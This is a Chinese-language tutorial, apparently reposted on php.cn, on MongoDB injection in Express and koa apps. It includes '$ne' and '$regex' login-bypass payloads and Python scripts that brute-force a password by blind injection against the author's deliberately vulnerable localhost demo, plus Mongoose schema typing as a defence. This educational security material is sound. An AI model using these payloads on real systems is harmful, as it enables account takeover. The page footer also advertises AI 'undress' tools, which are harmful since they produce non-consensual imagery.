search
HomeDatabaseMysql TutorialMongodb Injection in Node.js Web Framework

The difference between Express and koa Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和

The difference between Express and koa

Express 和 koa 都是 Node.js 的 Web 框架,相比较 Express,koa 使用了 generator 作为中间件,减少了大量的 callback,更加轻量一些。在对于不同的 HTTP Method,譬如 GET、POST 的数据的处理上,Express 的行为和 koa 有一些差异。

GET

在对于 GET 的处理上,Express 和 koa 的一个显著的不同就是:

<code>test[1]=a&test[2]=b
</code>

Expres 的 req.query 会把 test 处理成 Object:

<code>{ test: [ 'a', 'b' ] }
</code>

koa 的 this.request.query 却不会:

<code>{ 'test[1]': 'a', 'test[2]': 'b' }
</code>

在这种情况下,koa 可以避免在 QueryString 内的 Mongodb Injection。

POST

在 POST 中,当 Content-Type 为 application/x-www-form-urlencoded,Express和 koa 的行为也是不相同的,对于:

<code>test[a]=123&test[b]=456
</code>

Express 的 req.body 解析后的结果为:

<code>{ 'test[a]': '123', 'test[b]': '456' }
</code>

koa co-body 处理后解析后的结果为:

<code>{ test: { a: '123', b: '456' } }
</code>

当 Content-Type 为 multipart/form-data,对于:

<code>------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[a]"
123
------WebKitFormBoundaryxUTB0WY8QmAfDBIp
Content-Disposition: form-data; name="test[b]"
456
------WebKitFormBoundaryxUTB0WY8QmAfDBIp--
</code>

Express 利用 multiparty 解析的结果为:

<code>{ 'test[a]': [ '123', '456' ], 'test[b]': [ '789' ] }
</code>

koa 如果用 multiparty 解析的话,结果相同。
最后,当 Content-Type 为 application/json,Express 和 koa 在结果上时相同的,对于:

<code>{"test1": 1, "test2": {"test": "hello"}}
</code>

解析结果都为:

<code>{ test1: 1, test2: { test: 'hello' } }
</code>

另外的 PUT、DELETE 等方法我们不做考虑。
其实这里引入一个 RESUful 的概念,现代 API 多是追求 RESTful 的 API 设计,对于 Web 和 App 有统一的一套接口,然后衍生出一系列所谓“前后端分离”的概念,也出现了许多 JavaScript 框架,AngularJS 就是这样的。AngularJS 和后端通信的方式就是上述 POST 中最后一种,直接 POST JSON 到后端,然后后端进行解析,所以说在这种解析的过程中就会出现一系列的问题,最主要的还是 Mongodb Injection。

Mongodb Injection in Express

这个其实是很常见的问题了,因为攻击威力小,而且开发者稍加注意就可以避免,所以 Mongodb Injection 一直就是不温不火。

对于 Mongodb 的注入,目前可以做到的事 Authenticate Bypass,以及 Blind Injection。比较鸡肋的是 Blind Injection 只能对已知字段进行注入。

我用 Node.js + Mongodb 写了一个简单的登陆系统,当然是有漏洞的,主要是来研究一下漏洞的成因,以及如何避免。
项目地址:https://github.com/RicterZ/simpleLogin

Bypass Login Directly in Express

/controllers/user.js

<code>LoginHandler.login = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'Login Fail'});
            return;
        };
        response.status(200).json({user: 'Hello ' + user.username});
    });
};
</code>

此处我们将用户传入的 password 直接带入 User 的 Model,进而调用 login 方法。
/model/users.js

<code>User.prototype.login = function (callback) {
    var _user = {
        username: this.username,
        password: this.password
    };
    db.open(function (err, db) {
        if (err) return callback(err);
        db.collection('users', function (err, collection) {
            if (err) {
                db.close();
                return callback(err);
            };
            collection.findOne(_user, function (err, user) { // Injection
                // do stuff
            });
        });
    });
}
</code>

由于此处我们提交的数据为:

<code>{"username": "test", "password": {"$ne": 1}
</code>

Express 处理后变成一个 JSON Condition 然后进入 Mongodb 的查询中,所以我们可以直接 Bypass 验证,进入 test 的账户。

Login Blind Injection in Express

/controller/user.js

<code>LoginHandler.login2 = function (request, response) {
    var user = new User({
        username: request.body.username,
        password: request.body.password
    });
    user.login(function (err, user) {
        if (err) {
            response.status(500).json({message: err.toString()})
            return;
        };
        if (!user) {
            response.status(401).json({message: 'User not exist'});
            return;
        };
        if (user.password === request.body.password) {
            response.status(200).json({user: 'Hello ' + user.username});
        } else {
            response.status(401).json({message: 'Password is not correct'});
        };
    });
};
</code>

此处和上面不同的是我们验证了密码,如果未获取到用户则显示 User not exist,如果密码和数据库里储存的密码不同则显示 Password is not correct。利用此处的差异我们可以 Blind Injection 出数据库储存的密码为多少。
利用 Mongodb 里的正则表达式:

<code>{"username": "test", "password": {"$regex": "^1"}}
</code>

如果开头的字母为 1,则显示 Password is not correct,如果不为 1,则显示 User not exist。第一位猜测完毕后继续猜解第二位:

<code>{"username": "test", "password": {"$regex": "^11"}}
</code>

重复上述步骤直至猜解结束。

Exploit

0x01

Code:

<code>import urllib2
request = urllib2.Request('http://localhost:3000/login', '{"username": "ricter", "password": {"$ne": 1}}', headers={"Content-Type": "application/json"})
print urllib2.urlopen(request).read()
</code>

Result:

0x02

Code:

<code>import sys
import urllib2
def req(url, data):
    try:
        request = urllib2.Request(url, data, headers={'Content-Type': 'application/json'})
        return urllib2.urlopen(request).read()
    except urllib2.HTTPError, e:
        return e.read()
url = 'http://localhost:3000/login2'
FLAG_USER_NOT_EXIST = 'User not exist'
FLAG_PASSWORD_INCORRECT = 'Password is not correct'
chars = '9876503412'
payload = '{"username": "ricter","password": {"$regex": "^%s"}}'
password = ''
while 1:
    for i in chars:
        resp = req(url, payload % (password + i))
        if FLAG_PASSWORD_INCORRECT in resp:
            password += i
            print password
            break
        elif FLAG_USER_NOT_EXIST in resp:
            pass
        if i == chars[-1]:
            print password
            sys.exit(0)
</code>

Result:

Express with Mongoose

常见的 Node.js 的 Web 应用中,还有一种常见的搭配就是利用 Mongoose 来进行数据的 CRUD。
具体代码参见 simpleLogin 的 mongoose 分支。

使用 Mongoose 我们可以定义每个 document 的 field 的数据类型:

<code>var _User = new db.Schema({                
    username: String,
    password: String,
    apikey: String  
});
</code>

这样的话,我们传入:

<code>{"username": "ricter","password": {"$ne": 1}}
</code>

实际上查询的时候会被转变成:

<code>{ username: 'ricter', password: undefined }
</code>

所以不会造成 Mongodb Injection。

At the end

Node.js 的 Webapp,我本人比较倾向于 koa+mongoose,可以避免一些 Mongodb 的注入的问题,以及代码看起来更为优雅一些。
当然,\Python 大法好/

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
mongodb php 扩展没有怎么办mongodb php 扩展没有怎么办Nov 06, 2022 am 09:10 AM

mongodb php扩展没有的解决办法:1、在linux中执行“$ sudo pecl install mongo”命令来安装MongoDB的PHP扩展驱动;2、在window中,下载php mongodb驱动二进制包,然后在“php.ini”文件中配置“extension=php_mongo.dll”即可。

Redis和MongoDB的区别与使用场景Redis和MongoDB的区别与使用场景May 11, 2023 am 08:22 AM

Redis和MongoDB都是流行的开源NoSQL数据库,但它们的设计理念和使用场景有所不同。本文将重点介绍Redis和MongoDB的区别和使用场景。Redis和MongoDB简介Redis是一个高性能的数据存储系统,常被用作缓存和消息中间件。Redis以内存为主要存储介质,但它也支持将数据持久化到磁盘上。Redis是一款键值数据库,它支持多种数据结构(例

Go语言中使用MongoDB:完整指南Go语言中使用MongoDB:完整指南Jun 17, 2023 pm 06:14 PM

MongoDB是一种高性能、开源、文档型的NoSQL数据库,被广泛应用于Web应用、大数据以及云计算领域。而Go语言则是一种快速、开发效率高、代码可维护性强的编程语言。本文将为您完整介绍如何在Go语言中使用MongoDB。一、安装MongoDB在使用MongoDB之前,需要先在您的系统中安装MongoDB。在Linux系统下,可以通过如下命令安装:sudo

php怎么使用mongodb进行增删查改操作php怎么使用mongodb进行增删查改操作Mar 28, 2023 pm 03:00 PM

MongoDB作为一款流行的NoSQL数据库,已经被广泛应用于各种大型Web应用和企业级应用中。而PHP语言也作为一种流行的Web编程语言,与MongoDB的结合也变得越来越重要。在本文中,我们将会学习如何使用PHP语言操作MongoDB数据库进行增删查改的操作。

php7.0怎么安装mongo扩展php7.0怎么安装mongo扩展Nov 21, 2022 am 10:25 AM

php7.0安装mongo扩展的方法:1、创建mongodb用户组和用户;2、下载mongodb源码包,并将源码包放到“/usr/local/src/”目录下;3、进入“src/”目录;4、解压源码包;5、创建mongodb文件目录;6、将文件复制到“mongodb/”目录;7、创建mongodb配置文件并修改配置即可。

SpringBoot中logback日志怎么保存到mongoDBSpringBoot中logback日志怎么保存到mongoDBMay 18, 2023 pm 07:01 PM

自定义Appender非常简单,继承一下AppenderBase类即可。可以看到有个AppenderBase,有个UnsynchronizedAppenderBase,还有个AsyncAppenderBase继承了UnsynchronizedAppenderBase。从名字就能看出来区别,异步的、普通的、不加锁的。我们定义一个MongoDBAppender继承UnsynchronizedAppenderBasepublicclassMongoDBAppenderextendsUnsynchron

Swoole与MongoDB的整合:构建高性能的文档数据库系统Swoole与MongoDB的整合:构建高性能的文档数据库系统Jun 14, 2023 am 11:51 AM

在现代企业应用程序开发中,需要处理海量数据和高并发的访问请求。为了满足这些需求,开发人员需要使用高性能的数据库系统,以确保系统的稳定性和可扩展性。本文将介绍如何使用Swoole和MongoDB构建高性能的文档数据库系统。Swoole是一个基于PHP语言开发的异步网络通信框架,它能够大大提高PHP应用程序的性能和并发能力。MongoDB是一种流行的文档数据库,

SpringBoot怎么整合Mongodb实现增删查改SpringBoot怎么整合Mongodb实现增删查改May 13, 2023 pm 02:07 PM

一、什么是MongoDBMongoDB与我们之前熟知的关系型数据库(MySQL、Oracle)不同,MongoDB是一个文档数据库,它具有所需的可伸缩性和灵活性,以及所需的查询和索引。MongoDB将数据存储在灵活的、类似JSON的文档中,这意味着文档的字段可能因文档而异,数据结构也会随着时间的推移而改变。文档模型映射到应用程序代码中的对象,使数据易于处理。MongoDB是一个以分布式数据库为核心的数据库,因此高可用性、横向扩展和地理分布是内置的,并且易于使用。况且,MongoDB是免费的,开源

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
3 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
3 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
3 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Atom editor mac version download

Atom editor mac version download

The most popular open source editor

Dreamweaver Mac version

Dreamweaver Mac version

Visual web development tools

Safe Exam Browser

Safe Exam Browser

Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),